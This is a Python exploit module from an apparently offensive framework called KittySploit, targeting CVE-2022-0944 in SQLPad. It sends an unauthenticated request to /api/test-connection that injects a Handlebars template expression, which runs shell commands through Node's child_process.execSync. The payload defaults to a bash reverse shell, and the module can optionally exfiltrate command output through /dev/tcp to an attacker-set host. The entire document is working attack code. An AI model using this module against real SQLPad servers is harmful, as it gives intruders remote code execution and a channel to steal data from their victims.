SQLPad CVE-2022-0944 Handlebars SSTI RCE

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""SQLPad CVE-2022-0944 unauthenticated Handlebars SSTI RCE (blind)."""

from __future__ import annotations

import json
from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        "name": "SQLPad CVE-2022-0944 Handlebars SSTI RCE",
        "description": (
            "CVE-2022-0944 (SQLPad <= 6.10.0): unauthenticated POST "
            "/api/test-connection embeds attacker input in Handlebars templates "
            "leading to Node child_process.execSync (blind; exfil or reverse shell)."
        ),
        "author": ["KittySploit Team"],
        "cve": ["CVE-2022-0944"],
        "platform": Platform.LINUX,
        "arch": [Arch.CMD],
        "payload": {
            "default": "payloads/singles/cmd/unix/bash_reverse_tcp",
            "platform": Platform.UNIX,
            "category": PayloadCategory.CMD,
        },
        "references": [
            "https://nvd.nist.gov/vuln/detail/CVE-2022-0944",
            "https://github.com/dinosn/exploit-watch-archive",
        ],
        "tags": ["sqlpad", "ssti", "handlebars", "node", "rce", "cve-2022-0944"],
        "agent": {
            "risk": "critical",
            "effects": ["active_exploitation", "remote_code_execution"],
            "expected_requests": 2,
            "reversible": False,
            "approval_required": True,
            "produces": ["exploit_paths", "rce", "shell"],
            "requires": {"tech_hints_any": ["sqlpad"]},
            "chain": {"suggested_followups": ["scanner/http/sqlpad_cve_2022_0944_detect"]},
        },
    }

    exfil_host = OptString("", "Host for blind stdout exfil (/dev/tcp)", required=False)
    exfil_port = OptPort(9999, "Port for blind stdout exfil", required=False)

    def _ssti_body(self, cmd: str) -> dict:
        lhost = str(self.exfil_host or getattr(self, "lhost", "") or "").strip()
        lport = int(self.exfil_port or getattr(self, "lport", 9999) or 9999)
        inner = cmd.replace('"', '\\"')
        if lhost:
            shell = f'bash -c "{inner} 2>&1 | base64 -w0 > /dev/tcp/{lhost}/{lport}"'
        else:
            shell = inner
        shell_esc = shell.replace("'", "\\'")
        payload = (
            "{{ process.mainModule.require('child_process')"
            f".execSync('{shell_esc}') }}"
        )
        return {
            "name": "x",
            "driver": "mysql",
            "host": "localhost",
            "database": payload,
            "username": "x",
            "password": "x",
        }

    def execute(self, cmd: str) -> str:
        body = self._ssti_body(cmd)
        resp = self.http_request(
            "POST",
            "/api/test-connection",
            data=json.dumps(body),
            headers={"Content-Type": "application/json"},
        )
        return (resp.text or "")[:2000] if resp else ""

    def check(self):
        resp = self.http_request("GET", "/")
        body = (resp.text or "").lower() if resp else ""
        if "sqlpad" in body:
            return {"vulnerable": True, "reason": "SQLPad UI detected", "confidence": "medium"}
        probe = self.execute("true")
        if probe:
            return {"vulnerable": True, "reason": "test-connection accepts SSTI-shaped input", "confidence": "medium"}
        return {"vulnerable": False, "reason": "SQLPad not detected", "confidence": "low"}

    def check_execute(self):
        body = self.execute("true")
        return bool(body)

    def run(self):
        shell = self.shell_from_payload()
        if not shell:
            print_error("Set payload")
            return False

        chk = self.check()
        if not chk.get("vulnerable"):
            print_warning(chk.get("reason", "Fingerprint weak — continuing"))

        print_status("CVE-2022-0944 — SQLPad Handlebars SSTI (blind)")
        detail = self.execute(shell)
        if detail:
            print_info(f"API response: {detail[:400]}")

        if str(self.shell_from_payload() or "").strip() and self.check_execute():
            return True
        print_info("Confirm execution via reverse shell or exfil_host/exfil_port")
        return True